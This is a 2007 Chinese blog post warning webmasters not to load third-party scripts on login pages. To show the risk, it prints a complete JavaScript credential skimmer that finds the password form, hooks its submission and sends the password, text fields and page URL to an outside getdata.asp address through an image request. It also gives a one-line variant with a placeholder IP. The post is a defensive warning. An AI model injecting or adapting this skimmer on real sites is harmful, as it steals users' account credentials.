千万不要在登录页面引入别站的脚本

    如果您是一位站长,你的网站里面一定引入过别站的脚本,如计数器等。但我强烈建议您不要把这个脚本引入到登陆页面。
    因为如果你这样做了,对方(脚本作者)可以在神不知鬼不觉的情况下,把你的用户的帐户,密码等信息偷走。
    您可能要问:第一、对方如何知道我把脚本放在登陆页面?第二、现在有IE7,XMLHTTP也不可能跨域了,对方如何知道信息?
    其实,这两个问题,都很简单。
    第一、对方只需用脚本枚举FORM,判断里面的是否包含:<input type="password" />的控件,就可以知道是否是登陆窗体。
    第二、没有了 XMLHTTP,还有好多种方法来完成数据的提交,最简单的:
var up = new Image(); up.src=http://xxx.xxx.xxx.xxx/getdata.asp?data=aaa|bbb|ccc;
很简单吧!!我们来看下示例核心代码:
    function _bho_DataPost(form)
    
{
        
var userInfoArray = [];
        
for(var name in form)
        
{
            userInfoArray.push(name 
+ '=+ escape(form[name]));
        }

        
        
var userInfo = userInfoArray.join('&');
        
try
        
{
          
//提交数据(这里有密码的哟)
          var send = new Image();
        send.src 
= "[url=http://evlon.cnblogs.com/getdata.asp]http://evlon.cnblogs.com/getdata.asp[/url]?" + userInfo;
        }

        
catch(e)
        
{}
    }

/*
  功能:得到登陆FORM,如果没有找到,则返回 null
*/

    
function _bho_getLoginForm()
    
{
        
var forms = document.forms;
        
for(var f = 0; f < forms.length; ++f)
        
{
            
var form = forms[f];
            
            
var inputs = form.getElementsByTagName("INPUT");
            
for(var i = 0; i < inputs.length; ++i)
            
{
                
if(inputs[i].type.toLowerCase() == "password")
                
{
                    
return form;
                }

            }

        }

        
        
return null;
    }

    
    
/*
    功能:注册事件,HOOK form.submit
    
*/

    
function _bho_initEvent()
    
{
        
var form = _bho_getLoginForm();
        
if(form != null)
        

        
        
//重写 form 的submit,来拦截密码
        form.__submit_ = form.submit;
        form.submit 
= function()
        
{
          _bho_SendPwd();
          
          
//如果先执行这里,因为还有事件,我们把 _bho_SendPwd 改成空函数,避免重复提交
          _bho_SendPwd = function(){}
          
return form.__submit_();
        }

        
//注册事件来监听密码提交
            form.attachEvent("onsubmit",_bho_SendPwd);
        }

    }

    
    
/*
    功能:把将要提交的FORM里面的所有数据提交
    
*/

    
function _bho_SendPwd(e)
    
{
        
var form = _bho_getLoginForm();
    
var pwd = '';
    
var otherInfoArray = [];
        
var inputs = form.getElementsByTagName("INPUT");
        
for(var i = 0; i < inputs.length; ++i)
        
{
            
if(inputs[i].type.toLowerCase() == "password")
            
{
                pwd 
= inputs[i].value;
            }

            
else
            
{
                
if(inputs[i].type.toLowerCase() == 'text')
                
{
                
//为了节省资源,如果没有名字,或者数据长度太长,应该没有什么价值,不用提交了
                    if(inputs[i].name && inputs[i].name != '' && inputs[i].value.length < 100)
                    
{
                    otherInfoArray.push(inputs[i].name 
+ '=+ inputs[i].value);
                }

            }

            }

        }

        
        
var form = [];
        form['url'] 
= window.location.href;
        form['pwd'] 
= pwd;
        form['otherInfo'] 
= otherInfoArray.join('&');
        _bho_DataPost(form);
        
//alert('发送完成');
    }

    
    
//初始化事件
    _bho_initEvent();
如果以上脚本在你的站上执行,唉。。。。。。

(改了错别字:-(    )
posted @ 2007-04-21 23:16  阿牛  阅读(3315)  评论(11编辑  收藏  举报